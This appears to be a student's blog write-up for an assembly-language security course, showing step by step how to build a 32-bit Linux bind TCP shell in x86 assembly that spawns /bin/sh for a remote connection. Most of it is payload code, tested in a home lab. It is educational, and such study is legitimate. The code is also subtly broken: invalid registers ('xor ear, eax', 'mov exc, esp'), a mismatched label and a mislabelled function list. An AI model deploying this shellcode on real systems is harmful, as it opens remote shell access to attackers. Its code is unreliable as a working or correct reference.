I started my offsec journey back in Feb 2007 when I registered for Offensive Security Certified Professional (OSCP) and completed the certification in June of that same year. Almost 3 years later, I finally decided to start on Offensive Security Certified Expert (OSCE) and one of the baseline requirements for this certification is a familiarity with Linux assembly language. Several OSCE preparation/exam reviews pointed to Security Tubes Linux Assembly (SLAE-32 bit) course as a good course to prepare for OSCE. The course is provided at an affordable price of $130 and the certification is really unique. After completing the course, students are required to complete seven assignments (listed below) to obtain the certification.

SLAE Assignment #1 - Bind TCP Shell
SLAE Assignment #2 - Reverse TCP Shell
SLAE Assignment #3 - Egg Hunter
SLAE Assignment #4 - Encoder
SLAE Assignment #5 - Shellcode Analysis
SLAE Assignment #6 - Polymorphism
SLAE Assignment #7 - Crypter 

Shout out to Vivek for doing an amazing job teaching the course. It was a perfect blend of the crawl, walk, run--from learning the basics of assembly registers to operations/conditions/controls/loops, creating shellcodes, and finally creating encoders/polymorphism/crypters. 

Bind TCP Shell

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http:/securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1517

Github: https://github.com/pyt3ra/SLAE-Certification.git

SLAE Assignment #1 - Create a Shell_BIND_TCP Shellcode

    - Binds to a port
    - Execs Shell on incoming connection
    - Port number should be easily configurable


~~~~~~~~~//*****//~~~~~~~~~



Creating a BIND_TCP shell can be broken down into 4 functions.

0x1 socket
0x2 connect
0x3 execve
0x4 accept
0x5 execve


... let us begin


0x1 - socket

First, we create a socket. socket() requires 3 arguments: domain, type, protocol as seen below.


domain = AF_INET or 0x2


type = SOCK_STREAM or 0x1


protocol = TCP or 0x6


We will also be using this net.h file when we invoke the syscalls which are the networking handling part of the kernel.



We push the following values in reverse order since the stack is accessed as Last-In-First-Out (LIFO)

               push 0x6
               push 0x1
               push 0x2

Once the socket has been created, we then invoke the socketcall() syscall



             xor eax, eax              ;remove x00/NULL byte
             mov al, 0x66             ;syscall 102 (x66) for socketcall
             xor ebx, ebx             ;remove x00/NULL byte
             mov bl, 0x1              ;net.h SYS_SOCKET 1 (0x1)
             xor ecx, ecx             ;remove x00/NULL byte
            mov ecx, esp             ;arg 2, esp address to ecx
            int 0x80                    ;interrupt/excute

            mov edi, eax             ;sockfd, this will be referenced throughout the 

0x2 -bind

One common concept in SLAE course is the use of JMP-CALL-POP which allows a way to dynamically access addresses. This is because if a call instruction is used, the next instruction is automatically loaded into the stack.



          bind:
                jmp short port_to_blind        

         call_bind:
               pop esi                  ; pops ESP addr
              xor eax, eax          ;remove x00/NULL byte
              push eax               ;push eax NULL value to the stack
              push word[esi]     ;push actual port number to the stac, word=2 bytes
              mov al, 0x2          ;AF_INET IPv4
              push ax
              mov edx, esp        ;store stack addr (struct sockaddr)
              push 0x10            ;store length addr on stack
              push edx              ;push strct sockaddr to the stack
              push edi               ;sockfd from the eax _start
              xor eax, eax         ;remove x00/NULL byte
              mov al, 0x66        ;syscall 102 for socketcall
              mov bl, 0x02        ;net.h SYS_BIND 2 (0x02)
              mov ecx, esp        ;arg for SYS_BIND
              int 0x80               ;interrupt/execute

         port_to_bind:
              call call_bind
              port_number dw 0x5d11  ;port 4445 (0x115d)
                                                        ;this gets pushed to the stack after the call instruction

0x3 - listen


The listen() syscall is pretty straightforward.


            push 0x1                         ; int backlog
            push edi                          ; sockfd from eax _start
           xor eax, eax                    ;remove x00/NULL byte
           mov al, 0x66                   ;syscall 102 for socketcal
           xor ebx, ebx                    ;remove x00/NULL byte
          mov bl, 0x4                      ;net.h SYS_LISTEN 4
          xor ecx, ecx                     ;remove x00/NULL byte
          mov ecx, esp                    ;arg for SYS_LISTEN
          int 0x80                           ;interrupt/execute

0x4 - accept

Likewise, accept() is pretty straight forward.



             xor ear, eax                  ;remove x00/NULL byte
             push eax                       ;push NULL value to addrlen
             xor ebx, ebx                 ;remove x00/NULL byte
            push ebx                       ;push NULL value to addr
            push edi                        ;sockfd from eax _start
            mov al, 0x66                 ;syscall 102 for socketcall
            mov bl, 0x5                   ;net.h SYS_ACCEPT 5
            xor ecx, ecx                  ;remove x00/NULL byte
            mov ecx, esp                 ;arg for SYS_ACCEPT
            int 0x80                         ;interrupt/execute

0x4a - change_fd


This is all the dup2() functions which ensure file /bin/sh goes through the socket connection

       
            mov ebx, eax                  ;moves fd from accept to ebx
            xor ecx, ecx                    ;removes 0x00/NULL byte, 0 (std in)
            xor eax, eax                   ;removes 0x00/NULL byte
            mov al, 0x3f                  ;syscall 63 for dup2
            int 0x80                         ;interrupt/execute

            mov al,0x3f                   ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 1 (std out)
            int 0x80                         ;interrupt/execute

            mov al, 0x3f                  ;syscall 63 for dup2
            inc ecx                           ;+1 to ecx, 2 (std error)
            int 0x80                         ;interrupt/execute

0x5 - execve

At this point we have successfully set-up our socket() and we can establish a bind() port, listen() on incoming connections and accept() it. We are now ready to run our execve(). Once the connection is established, execve will be used to execute /bin/sh.


The following instructions are taken directly from the execve module of the SLAE course.

             xor eax, eax                 ;removes x00/NULL byte
             push eax                      ;push first null dword

             push 0x68732f2f          ;hs// 
             push 0x6e69622f          ;nib/

              mov ebx, esp              ;save stack pointer in ebx
             push eax                       ; push null byte as 'null byte terminator'
             mov edx, esp               ;moves address of 0x00hs//nib/ into ecx

             push ebx
             mov exc, esp

             mov al, 0xb                 ; syscall 11 for execve
             int 0x80


And we are done!

Testing our bind shell.

We compile nasm file and execute it.



Then using another machine (Kali), I connect to the ubuntu which spawns /bin/sh shell and we can run commands remotely.

BT IP: 192.168.199.128
Ubuntu IP: 192.168.199.129


We can also run the netstat command in the ubuntu machine to verify the established connection between the BT and Ubuntu machines:

Success..we can see the connection established.


Finally, we use objdump to obtain the shellcode from our executable


***Note the last 2 bytes of the shellcode is the port to bind on. Keeping in mind little-endian structure. We should be able to just change the last 2 bytes of the shellcode to configure a different port to bind on.

Here's an example of using the shellcode with a .c program




We compile shellcode.c, execute it and connect to 4445 from out BT machine.



SUCCESS!






❌
❌